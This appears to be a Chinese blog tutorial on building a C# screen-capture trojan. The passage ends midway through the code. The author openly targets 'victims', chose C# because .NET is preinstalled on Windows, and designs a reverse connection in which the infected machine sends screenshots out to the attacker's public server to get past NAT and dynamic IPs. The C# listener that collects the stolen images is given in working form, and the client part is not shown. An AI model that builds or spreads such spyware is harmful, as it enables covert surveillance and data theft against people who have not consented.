先说点没用的:1.这学期学习C#这门语言,但说实话上课并没有听过,可能心底还是看不起这门语言吧。但其实这门语言在微软换了CEO后,有了很大的改变,即可以跨平台开发了。支持ios、andorid、wp。
这样其实挺好的,只要学习一门语言就可以做WEB开发,做桌面客户端,做移动端开发。
2.为什么使用C#来开发本程序:目前win7,win8,win10,windows服务器系列系统,vista什么的淘汰的系统等等,都是自带.net framework,也就是说:我们的木马扔过去就可以直接运行了,不需要再搭运行环境,JAVA就不行啊,还得JVM。所以我才不用自己熟悉的JAVA,PHP等来写啊
正文: 本程序主要功能:
1、截屏
2、socket网络通讯
3、计时器
内容很简单,很适合新手动手实践学习,个人觉得最快的提升方式就是写点自己感兴趣的东西!
这里必须得讲一下一些相关逻辑和知识,否则无法后续,新手也会不解。
我写这个程序的时候参考了网上另外一篇类似博客,但是他的逻辑完全错掉了,他的程序是服务端截屏发送给客户端,而我们应该是客户端截屏给服务端。看起来好像区别不大?事实上实际运用除非客户端和服务端都在自己电脑,否则完全不一样。
在那篇博客中,服务端程序(受害者)顺序是:1.服务端进入监听->2.服务端接收到客户端连接->3.服务端截屏发送给客户端。
客户端程序(我方)顺序 1.客户端向服务端发起连接-> 2.客户端保存图片
问题来了,不知道你注意到没有,2个非常致命的问题
一、实际运用上,受害者的电脑IP我们肯定是不知道的,而且对方的IP会经常变动(动态IP),我们怎么可能主动去连接得了?这个问题不解决本程序无实际用途除非在本机上运行客户端和服务端自己娱乐。
二、实际运用上,受害者电脑绝大多数情况下是出于内网中的,我们并无法主动去连接内网!在这篇文章中,是(我方)去连接(受害者),而事实上受害者并不暴露于公网环境,将导致无法连接!这个问题不解决,本程序无实际用途除非在本机上运行客户端和服务端自己娱乐。
为了解决以上2个问题,只要做出顺序上的修改就可以了:
服务端:1.进入监听(死循环) 2.接受连接,接受图片,保存图片
客户端:1.请求连接 2.发送图片 3.关闭连接 (循环1.2.3步骤)
为什么这么改动顺序后2大问题就解决了呢?
1、我们不知道受害者的IP,但是我们的服务器IP是固定的,只要让受害者主动连接我们客户端就行哒!
2、虽然公网无法主动连接内网,但是我们可以让内网主动连接公网进行通信,即让受害者连接我们的公网服务器,我用阿里云测试一切好使!
首先是服务端代码:
1、服务端监听8099端口
TcpListener server = new TcpListener(new System.Net.IPEndPoint(0, 8099));//服务端进入监听
server.Start();
2、服务端接受客户端连接,并接收图片
while (true)
{
//接受连接
TcpClient client = server.AcceptTcpClient();
Console.WriteLine("有新的连接....");
//获取客户端IP和时间
String remoteIp = client.Client.RemoteEndPoint.ToString();
String localTime = DateTime.Now.ToString(); ;
Console.WriteLine("客户端IP:"+remoteIp+"时间是:"+localTime);
//接收屏幕截图
Sconnect s = new Sconnect(client);
s.recv(remoteIp);
}
这里一定要写在死循环中,才能持续接收连接!
服务端主类完整代码:
class s2
{
static void Main(string[] args)
{
TcpListener server = new TcpListener(new System.Net.IPEndPoint(0, 8099));//服务端进入监听
server.Start();
while (true)
{
//接受连接
TcpClient client = server.AcceptTcpClient();
Console.WriteLine("有新的连接....");
//获取客户端IP和时间
String remoteIp = client.Client.RemoteEndPoint.ToString();
String localTime = DateTime.Now.ToString(); ;
Console.WriteLine("客户端IP:"+remoteIp+"时间是:"+localTime);
//接收屏幕截图
Sconnect s = new Sconnect(client);
s.recv(remoteIp);
}
server.Stop();
Console.ReadKey()